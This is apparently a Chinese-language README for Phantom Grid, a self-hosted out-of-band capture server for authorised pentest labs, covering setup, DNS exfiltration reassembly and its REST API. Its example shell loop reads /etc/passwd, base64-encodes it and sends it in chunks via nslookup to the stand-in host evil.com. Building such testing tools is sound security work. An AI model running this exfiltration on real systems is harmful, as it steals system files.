免费 Burp Collaborator 替代方案——通过 SQLite 与数据外泄重组实现 OOB 交互捕获(HTTP/HTTPS/DNS)
面向渗透测试实验室的免费开源 Burp Collaborator 替代方案
带外(OOB)交互捕获 · HTTP/HTTPS · DNS · SQLite · 外带数据重组
Phantom Grid 是一款自托管的 OOB(带外)交互捕获工具——一个免费的 Burp Collaborator 替代方案,用于解决渗透测试实验室(PortSwigger Web Security Academy、HackTheBox、TryHackMe 等)中的挑战。
| 功能 | 描述 |
|---|---|
| HTTP + HTTPS 捕获 | 双协议栈,自动生成自签名 TLS 证书 |
| DNS 捕获 | 内置 DNS 服务器,监听 53 端口 |
| DNS 外带数据重组 | 自动重组多段 DNS 外带数据 |
| SQLite 持久化 | 所有数据在服务器重启后依然保留(WAL 模式提升性能) |
| 40+ Payload 模板 | SSRF、XXE、SQLi OOB、CMDi、SSTI、DNS 外带——即取即用 |
| 战术仪表盘 | 指挥中心式 UI,支持实时监控 |
| Docker 就绪 | 一条命令即可部署 |
| REST API | 完整的 token/交互/外带数据管理 API |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# 仅 HTTP
python server/server.py
# HTTP + HTTPS(自动生成自签名证书)
python server/server.py --https
# 完整协议栈(DNS 53 端口需要 sudo 权限)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# 在 payload 中使用 ngrok 提供的 HTTPS URL
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
现代应用通常会阻止混合内容请求(从 https:// 页面发起 http:// 请求)。Phantom Grid v2.0 在 HTTP 之外同时运行 HTTPS。
python server/server.py --https
# 自动生成 certs/server.pem + certs/server.key
# HTTPS 可通过 https://0.0.0.0:9443 访问
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok 会自动提供一个受信任的 HTTPS URL
Phantom Grid 会自动重组分段的 DNS 外带数据。这对于提取必须拆分到多次 DNS 查询中的大型 payload 至关重要(每个标签限制为 63 字节)。
| 格式 | 示例 | 使用场景 |
|---|---|---|
| 简单 | data.TOKEN.domain | 单值外带 |
| 带索引 | 0.chunk1.TOKEN.domain | 自动会话,有序分块 |
| 带标签 | sess1.0.chunk1.TOKEN.domain | 命名会话并带排序 |
| 结束信号 | end.sess1.TOKEN.domain | 标记会话完成 |
/etc/passwd在目标主机上:
# 将文件拆分为 50 字节的 base64 分块并通过 DNS 发送
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
查看重组后的数据:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
响应:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
所有数据都存储在 phantom_grid.db 中,使用 SQLite WAL 模式以实现并发读写性能。
phantom_grid.db
├── tokens — Token 元数据
├── interactions — 所有 HTTP/DNS 捕获记录
├── dns_exfil_sessions — 分组的外带会话
└── dns_exfil_chunks — 单个外带数据分块
数据在服务器重启后依然保留。通过复制 phantom_grid.db 即可备份。
| 方法 | 端点 | 描述 |
|---|---|---|
GET | /api/tokens | 列出所有 token 及其统计信息 |
POST | /api/tokens | 创建 token {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | 更新 token 标签/备注 |
DELETE | /api/tokens/<id> | 删除 token 及所有数据(级联删除) |
| 方法 | 端点 | 描述 |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | 获取 token 的交互记录 |
DELETE | /api/tokens/<id>/interactions | 清空交互记录 |
GET | /api/log?limit= | 全局日志(所有 token) |
GET | /api/poll?since=<ISO> | 轮询新交互记录 |
| 方法 | 端点 | 描述 |
|---|---|---|
GET | /api/tokens/<id>/exfil | 获取外带会话及重组后的数据 |
| 方法 | 端点 | 描述 |
|---|---|---|
GET | /api/stats | 全局统计(计数、数据库大小) |
GET | /health | 健康检查 |
| 协议 | 端点 |
|---|---|
| HTTP | http://server:9090/c/<TOKEN> |
| HTTPS | https://server:9443/c/<TOKEN> |
| DNS | <TOKEN>.yourdomain.com |
| DNS 外带 | <data>.<TOKEN>.yourdomain.com |
python server.py [OPTIONS]
--port N HTTP 端口(默认:9090)
--https 启用 HTTPS 服务器
--https-port N HTTPS 端口(默认:9443)
--cert PATH 自定义 TLS 证书(PEM)
--key PATH 自定义 TLS 密钥文件
--dns 启用 DNS 捕获服务器
--dns-port N DNS 端口(默认:53)
--dns-ip IP DNS 响应中返回的 IP(默认:127.0.0.1)
--db PATH SQLite 数据库路径(默认:phantom_grid.db)
| 功能 | Burp Collaborator | Interactsh | Phantom Grid |
|---|---|---|---|
| 价格 | Burp Pro($$$) | 免费 | 免费 |
| HTTP/HTTPS | ✅ | ✅ | ✅ |
| DNS 捕获 | ✅ | ✅ | ✅ |
| DNS 外带数据重组 | ❌ | ❌ | ✅ |
| SMTP 捕获 | ✅ | ✅ | ❌(路线图中) |
| 自托管 | ❌ | ✅ | ✅ |
| 自定义域名 | ❌ | ✅ | ✅ |
| 持久化存储 | 不适用 | ❌ | ✅(SQLite) |
| 仪表盘 UI | Burp Suite | CLI | Web UI |
| Payload 模板 | ❌ | ❌ | ✅(40+) |
仪表盘包含 40+ 个即取即用的 payload:
仅限用于经授权的渗透测试、安全研究和教育实验室环境。 在测试非自有系统之前,请务必获得适当授权。作者不对任何滥用行为负责。
欢迎提交 PR!路线图:
MIT — 参见 LICENSE